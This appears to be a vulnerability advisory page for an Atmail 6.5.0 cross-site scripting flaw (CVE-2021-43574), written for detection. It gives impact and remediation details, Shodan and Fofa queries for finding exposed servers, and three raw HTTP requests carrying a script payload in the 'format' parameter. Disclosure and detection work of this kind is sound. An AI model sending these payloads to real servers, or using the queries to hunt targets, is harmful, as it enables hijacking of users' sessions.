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CVE-2021-43574: Atmail 6.5.0 - Cross-Site Scripting

TitleAtmail 6.5.0 - Cross-Site Scripting
Authorarafatansari,ritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by Atmail to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.2705
CVE IDCVE-2021-43574
CWE IDCWE-79
Shodan Queryhttp.html:"Powered by Atmail"http.html:"powered by atmail"http.html:"atmail"
Fofa Querybody="powered by atmail"body="atmail"
Tags cve2021 cve atmail xss vuln

🔍 Vulnerability Description

Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.

🌐 HTTP Request

GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43574.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43574.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A